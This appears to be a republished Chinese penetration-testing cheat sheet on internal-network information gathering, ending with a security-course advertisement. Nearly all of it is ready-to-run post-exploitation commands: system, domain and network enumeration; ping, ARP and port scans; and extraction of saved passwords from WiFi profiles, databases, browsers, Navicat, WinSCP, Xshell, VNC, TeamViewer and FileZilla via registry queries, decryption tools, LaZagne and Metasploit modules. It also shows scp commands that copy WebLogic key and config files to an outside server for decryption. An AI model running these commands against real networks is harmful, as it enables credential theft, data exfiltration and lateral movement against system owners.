网安教育
培养网络安全人才
技术交流、学习咨询
总结下内网信息收集时用到的方法,想到什么写什么.....
cmd命令
1systeminfo 查看计算机信息
2query user 查在线用户
3netstat -ano | find "3389" 查看网络连接信息
4arp -a 查看arp缓存
5route print 查看路由表
6wmic product get name,version 查看安装的软件
7wmic qfe list 查看已安装的补丁
8wmic /namespace:\rootsecuritycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe 查看杀软详情
9wmic bios list full | find /i "vmware" 查看是否为虚拟机
10wmic process get caption,executablepath,processid 查看正在运行的进程信息
11
12查看/终止进程:
13tasklist /svc
14tasklist /s 192.168.80.11 /u admin /p 123 /svc
15taskkill /f /im qq.exe
16taskkill /pid 2476
17
18快速搜索文件
19findstr /c:"DB_USER" /c:"DB_PASSWORD" /si *.php
20findstr /c:"user=" /c:"pass=" /c:"pwd=" /c:"password=" /si *.php *.xml
查WiFi密码
1netsh wlan show profile
2netsh wlan show profile wifi-name key=clear
查mysql密码
1select Host,User,Password,authentication_string from mysql.user;
查mssql密码
1SELECT name,password_hash FROM master.sys.sql_logins;
提取浏览器已保存的密码
1http://www.nirsoft.net/utils/web_browser_password.html 火狐浏览器
2http://www.nirsoft.net/utils/chromepass.html 谷歌浏览器
提取Navicat已保存的密码
工具下载地址:
https://github.com/HyperSine/how-does-navicat-encrypt-password
从注册表中查询host/username/pwd
1reg query HKEY_CURRENT_USERSoftwarePremiumSoftNavicatServers /s /v host
2reg query HKEY_CURRENT_USERSoftwarePremiumSoftNavicatServers /s /v username
3reg query HKEY_CURRENT_USERSoftwarePremiumSoftNavicatServers /s /v pwd
使用工具进行解密
1python NavicatCipher.py dec 5658213B
提取winscp已保存的密码
工具下载地址:
https://bitbucket.org/knarf/winscppwd/downloads/winscppwd.exe
查询注册表中winscp保存的密文
1shell reg query "HKEY_CURRENT_USERSoftwareMartin PrikrylWinSCP 2Sessions"
2shell reg query "HKEY_CURRENT_USERSoftwareMartin PrikrylWinSCP 2Sessionsroot@192.168.80.164"
使用winscppwd.exe进行解密
1winscppwd.exe root 192.168.80.164 A35C4A54D144F65B7DF0E8F42E3333286D656E726D6A6472646C726D6A682833332EFA7A248229B891A201911C3F588380D6
或者直接使用msf中的模块
1meterpreter > run post/windows/gather/credentials/winscp
提取Xshell已保存的密码
Xshell目前主要有5.x和6.x两个版本,session文件分别保存在如下位置
1%userprofile%DocumentsNetSarangXshellSessions
2%userprofile%DocumentsNetSarang Computer6XshellSessions
解密工具下载地址:
https://github.com/dzxs/Xdecrypt
查看是否存在xshell配置文件
1shell cd "%userprofile%DocumentsNetSarang Computer6XshellSessions"&dir
读取xsh文件中的用户名和密码的密文
1shell type "C:UsersAdministratorDocumentsNetSarang Computer6XshellSessions192.168.80.164.xsh"
查询用户的SID
1shell whoami /user
使用脚本进行解密
1python Xdecrypt.py -s AdministratorS-1-5-21-464702021-3836885353-1586058702-500 -p "UzQLCHPiipSEypdz5qLORoRblWuytx8aAGFMl3plBK+pi+30QDkGUg=="
同样msf中也有相关的模块
1meterpreter > run post/windows/gather/credentials/xshell_xftp_password
提取SecureCRT已保存的密码
工具下载地址:
https://github.com/HyperSine/how-does-SecureCRT-encrypt-password.git
提取vnc客户端的密码
工具下载地址:
https://www.raymond.cc/blog/crack-or-decrypt-vnc-server-encrypted-password/
以realvnc为例
1注册表位置
2HKEY_LOCAL_MACHINESOFTWARERealVNCvncserver
3vncpwd.exe 494015f9a35e8b22
提取teamviewer的密码
实际利用的是CVE-2019-18988漏洞,可以读取Teamviewer的ID和控制密码,如果登录窗口存在密码还会读取Email和登录密码。
1meterpreter > run post/windows/gather/credentials/teamviewer_passwords
提取filezilla已保存的密码
1meterpreter > run post/multi/gather/filezilla_client_cred
使用lazagne导出各种密码
工具下载地址:https://github.com/AlessandroZ/LaZagne
1lazagne.exe browsers -firefox -oN
2lazagne.exe browsers
3lazagne.exe browsers -h
4laZagne.exe all -oN
icmp扫描
1for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | find /i "ttl"
arp扫描
1https://github.com/QbsuranAlang/arp-scan-windows-.git
2arp-scan.exe -t 192.168.80.0/24
端口扫描
1https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/Invoke-Portscan.ps1
2powershell -exec bypass
3Import-Module C:UsersAdministratorDesktopInvoke-Portscan.ps1
4Invoke-Portscan -Hosts 192.168.80.0/24 -T 4 -Ports "21,22,23,80,1433,1521,3306,3389" | Out-File port_info.txt
域内信息收集
1net time \test-lab.lab.com 查看目标主机的时间
2net user /domain 查看域内的用户
3net accounts /domain 查看域的密码策略
4net view /domain 查看有几个域
5net group /domain 查看域里面的组
6net config workstation 查看当前域
7net group "domain admins" /domain 查看域管理员
8net group "domain controllers" /domain 查看域控制器
9net user user2 /domain 查看指定域账户的信息
10net group "domain computers" /domain 查看域内所有主机
11wmic computersystem get domain 查看当前域
12wmic useraccount get Caption,sid 查看域内所有主机的sid
定位域控
通常域内主机DNS地址就是域控地址
ping工作站域DNS名称进一步确认
1ping lab.com
icmp扫描
1for i in 10.28.98.{1..254}; do if ping -c 1 -w 1 $i &>/dev/null; then echo $i is alived; fi; done
端口扫描
推荐一个python脚本,不需要任何三方依赖
https://github.com/ywolf/F-NAScan.git
1python F-NAScan.py -h 192.168.80.148 -p port.ini -m 50 -t 10 -n
2python F-NAScan.py -h ip.ini -p port.ini -m 50 -t 10
3python F-NAScan.py -h 172.21.0 -p 9200 -m 30 -t 10 -n
4python F-NAScan.py -h 192.168.1 -p 21,22,80,161,443,445,873,1080,1099,1433,1434,1521,2049,2375,3306,3389,5432,5984,6379,7001,8001,8080,9200,27017 -m 50 -t 10 -n
nmap
主机发现
1-n 取消反向域名解析
2-F 扫描top100端口
3--top-ports <number> 扫描开放率最高的number个端口,默认是1000
4-Pn 跳过主机发现的过程,默认主机在线
5-sn 只进行主机发现,不进行端口扫描,老版本叫-sP
6-PR 使用ARP协议进行主机发现
7nmap -sn -n 192.168.80.0/24
8nmap -sn -PR -n 192.168.80.0/24
端口扫描
1nmap -n 192.168.70.248 -p1099 -Pn
2nmap -n -sT 192.168.70.248 -p1099 -Pn
查在线用户/用户登录记录
1who
2last
配置文件中找数据库的密码
config.php、web.config等
java的站通常在jdbc文件中有数据库的密码
1locate WEB-INF | grep .properties
2locate WEB-INF | grep jdbc.properties
3find / -name *.properties 2>/dev/null
4find ./ -name "*.properties" | xargs egrep -i "user|pass|pwd|uname|login|db_"
5
查历史记录
1.bash_history
2.mysql_history
3.rediscli_history
4.viminfo
查ssh登录历史
1~/.ssh/known_hosts
查内网下的其它主机
1arp -a
2route -n
3cat /proc/net/arp
查SUID可执行文件
1find / -perm -u=s -type f 2>/dev/null
查系统信息
1uname -a
2cat /etc/*-release
解密weblogic控制台的密码
weblogic的密码使用AES(老版本3DES)加密,这两种加密方式都属于对称加密,加密密钥和解密密钥相同。所以我们只要找到服务器上的密文和密钥,就可以解密获得明文密码。这两个文件均位于weblogic的domains目录下,名为SerializedSystemIni.dat和config.xml。
config.xml位于config目录下,我们使用scp命令复制到自己的服务器上
1scp config.xml test@1.1.1.1:/tmp/
SerializedSystemIni.dat位于security目录下,同样使用scp命令进行复制
1scp SerializedSystemIni.dat test@1.1.1.1:/tmp/
使用解密工具进行解密,这里使用vulhub中提供的工具
https://github.com/vulhub/vulhub/tree/master/weblogic/weak_password/decrypt
文件选择SerializedSystemIni.dat,密码为config.xml文件中<node-manager-password-encrypted>的值,如下图解密成功,得到了明文密码
战疫期间,开源聚合网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入开源聚合网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!
加QQ(1005989737)找小姐姐私聊哦
本文始发于微信公众号(开源聚合网络空间安全研究院):渗透测试|内网信息收集之常见命令
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论